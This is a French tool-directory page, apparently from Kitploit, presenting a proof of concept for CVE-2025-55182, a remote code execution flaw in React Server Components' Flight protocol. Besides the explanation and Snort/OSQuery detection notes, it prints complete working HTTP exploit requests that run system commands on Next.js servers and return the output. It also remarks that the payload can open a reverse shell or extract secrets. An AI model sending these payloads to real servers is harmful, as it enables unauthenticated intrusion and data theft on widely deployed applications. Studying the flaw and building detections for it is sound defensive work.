Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182 — Preuve de concept d'exploitation démontrant l'exécution de code à distance via une désérialisation non sécurisée dans le protocole React Flight (CVE-2025-55182). Inclut des règles de détection Snort et OSQuery. | Kitploit
Outils/GitHubGitHub/phucc29/cve-2025-55182
Analyse des VulnérabilitésExploitationExploitation d'Applications WebArticles et RechercheApprentissage et Éducation
GitHubphucc29/cve-2025-55182

CVE-2025-55182

Preuve de concept d'exploitation démontrant l'exécution de code à distance via une désérialisation non sécurisée dans le protocole React Flight (CVE-2025-55182). Inclut des règles de détection Snort et OSQuery.

Voir le dépôt
4il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Comprendre les React Server Components et le protocole Flight

Les React Server Components sont une fonctionnalité introduite dans React 19, permettant aux composants d'être rendus côté serveur plutôt que dans le navigateur du client. Le serveur peut traiter les tâches de calcul complexes tout en n'envoyant que les résultats rendus au client.

La communication entre le serveur et le client dans RSC repose sur le protocole React Flight. Ce protocole gère la sérialisation et la désérialisation des données transmises entre le serveur et le client. Lorsqu'un client doit appeler une fonction côté serveur (Server Action), il envoie une requête au format spécial contenant des données sérialisées que le serveur doit désérialiser et traiter.

Le protocole Flight utilise un format de sérialisation spécifique avec des marqueurs de type de données. Ex. :

  • $@ désigne une référence à un chunk.
  • $B désigne une référence à un Blob.
  • Les références peuvent inclure des chemins de propriétés en utilisant le deux-points comme séparateur (par exemple : $1:constructor:constructor)

C'est précisément ce mécanisme de sérialisation qui héberge la vulnérabilité. Le serveur traite ces références sans valider correctement que les propriétés demandées sont réellement des exports valides du module concerné.

Nature de la vulnérabilité

CVE-2025-55182 est essentiellement une vulnérabilité de désérialisation non sécurisée dans la manière dont RSC traite les payloads entrants du protocole Flight. La vulnérabilité se trouve dans la fonction requireModule du paquet react-server-dom-webpack.

root@kitploit:~
function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 // ... additional logic ...  
 return moduleExports[metadata[2]];  // VULNERABLE LINE  
}  

Le défaut critique réside dans l'accès par notation entre crochets : moduleExports[metadata[2]]

En JavaScript, lors de l'accès à une propriété par notation entre crochets, le moteur JavaScript ne vérifie pas uniquement les propriétés propres de l'objet, mais parcourt toute la chaîne de prototypes. Cela signifie qu'un attaquant peut référencer des propriétés qui ne sont pas explicitement exportées par le module.

Plus important encore, chaque fonction en JavaScript possède une propriété constructor pointant vers le constructeur Function. En accédant à someFunction.constructor, l'attaquant obtient une référence au constructeur Function global, qui peut exécuter du code JavaScript arbitraire lorsqu'il est appelé avec un argument de type chaîne.

La vulnérabilité devient exploitable car le protocole Flight de React permet au client de spécifier ces chemins de propriétés via la syntaxe de référence séparée par deux-points. Un attaquant peut créer une référence comme $1:constructor:constructor, qui effectue le parcours suivant :

  • Récupérer le chunk/module numéro 1
  • Accéder à sa propriété .constructor (obtenant le constructeur Function)
  • Accéder à .constructor une nouvelle fois (toujours le constructeur Function, mais confirmant la chaîne d'accès)

Chaîne d'exploitation

Étape 1 : Création d'un faux objet Chunk

Le PoC commence par l'envoi d'une requête multipart form composée de trois champs. Le premier champ contient un faux objet Chunk délibérément conçu :

root@kitploit:~
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

Cet objet imite la structure interne de la classe chunk de React. En définissant then comme référence à Chunk.prototype.then, il crée une structure auto-référencée. Lorsque React traite et fait await sur ce Chunk, la méthode then est appelée avec le faux Chunk comme contexte this

Étape 2 : Exploitation du gestionnaire de désérialisation Blob

Le composant critique suivant est la référence $B1337. Dans le protocole Flight de React, le préfixe $B désigne une référence Blob. Lorsque React traite la référence Blob, il appelle une fonction utilisant : response._formData.get(response._prefix + id)

Ici, l'objet _response a été injecté avec des propriétés malveillantes. Lorsque le gestionnaire Blob exécute : response._formData.get(response._prefix + id)

Il exécute en réalité : Function("process.mainModule.require('child_process').execSync('xcalc');1337")

La raison est que _formData.get est défini sur $1:constructor:constructor, référence qui est résolue en constructeur Function. La valeur _prefix contient le code malveillant. Une fois combinés, le constructeur Function est appelé avec la chaîne de code malveillant comme argument, créant et exécutant une fonction contenant du code JS arbitraire.

Étape 3 : Exécution du code

Le payload process.mainModule.require('child_process').execSync('xcalc') illustre la capacité de cette exploitation. Le payload :

  • Accède à process.mainModule (le module principal en cours d'exécution)
  • Utilise la méthode require pour charger le module child_process
  • Appelle execSync pour exécuter une commande du système d'exploitation
  • Dans ce cas, ouvre l'application calculatrice (xcalc) pour démontrer la réussite de l'exploitation

Ce payload peut être modifié pour établir un reverse shell, extraire des variables d'environnement contenant des informations secrètes, lire des fichiers sensibles ou effectuer toute opération que le processus Node.js a le droit d'exécuter.

Analyse d'un PoC réel

Observons une requête complète dans le PoC de maple3142 :

root@kitploit:~
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: [Độ_dài_thực_tế_của_body]

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

L'en-tête Next-Action: x déclenche le mécanisme de traitement des Server Actions de React. Le corps comprend 3 parties :

  • Champ 0 : Le faux objet Chunk contenant la structure _response malveillante.
  • Champ 1 : La référence $@0 pointant vers le champ 0, créant une structure auto-référencée.
  • Champ 2 : Un tableau vide, complétant la structure de la requête.

Lorsque le serveur traite cette requête, il désérialise le champ 0, rencontre la référence $@0 dans le champ 1, établit la propriété then auto-référencée, puis déclenche le gestionnaire Blob, qui exécute le code via le constructeur Function.

Versions affectées et surface d'attaque

CVE-2025-55182 affecte les React Server Components dans les versions suivantes :

  • React 19.0.0, 19.1.0, 19.1.1 et 19.2.0.
  • Next.js à partir de 14.3.0-canary.77, toutes les versions 15.x et les versions 16.x antérieures au correctif.
  • D'autres frameworks utilisant RSC comme React Router, Waku, Redwood SDK et de nombreux autres plugins RSC.

Cette vulnérabilité est dangereuse car :

  • Toutes les configurations par défaut sont affectées : Une application Next.js standard créée avec create-next-app peut être exploitée sans aucune modification du code source.
  • Aucune authentification requise : L'attaque peut être menée sans aucun identifiant de connexion.
  • Haute fiabilité : Les chercheurs en sécurité constatent un taux de réussite d'exploitation proche de 100 %.
  • Déploiement étendu : Les données de Wiz Research montrent que 39 % des environnements cloud contiennent des versions vulnérables.

Selon Shodan, il y a plus de 571 000 serveurs publics utilisant des composants React et 444 000 serveurs utilisant Next.js. Bien que tous ne fassent pas tourner des versions affectées, la surface d'attaque potentielle est immense.

Détection

Une requête d'attaque doit obligatoirement combiner les éléments très spécifiques suivants :

  • En-tête : Contient l'en-tête Next-Action et le format des données est multipart/form-data.
  • Payload :
    • Contient la chaîne de déclaration form-data spécifique : name="0"
    • Contient des propriétés malveillantes comme "status": "resolved_model" (le document original écrit par erreur "reserved_model" ci-dessus mais la règle standard est resolved)
    • Contient la chaîne "then":"$1:proto:then" — c'est un indicateur extrêmement précis que l'attaquant tente de manipuler le mécanisme RSC depuis l'extérieur.

Deux mécanismes de détection

Surveillance réseau avec Snort

Fonctionnement : Cette règle Snort va bloquer/alerter sur le trafic réseau dirigé vers le serveur (to_server) présentant tous les signes anormaux évoqués dans la section 2 (Headers + PCRE vérifiant les chaînes de payload malveillantes).

Objectif : Détecter et empêcher le comportement d'exploitation dès qu'il se produit sur le réseau.

Vérification des vulnérabilités avec OSQuery

Fonctionnement : Exécuter des commandes d'analyse périodiques sur le serveur ou dans le processus de build logiciel (CI/CD) pour trouver les paquets de bibliothèques Node.js (npm_packages) affectés par la faille.

Paquets ciblés : react-server-dom-parcel, react-server-dom-turbopack, et react-server-dom-webpack

Versions vulnérables analysées : 19.0.0, 19.1.0 à moins de 19.1.2, et 19.2.0.

Objectif : Détecter de manière proactive les applications à risque avant qu'elles n'atteignent l'environnement de production.

Payload pour le laboratoire :

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Télécharger l’outil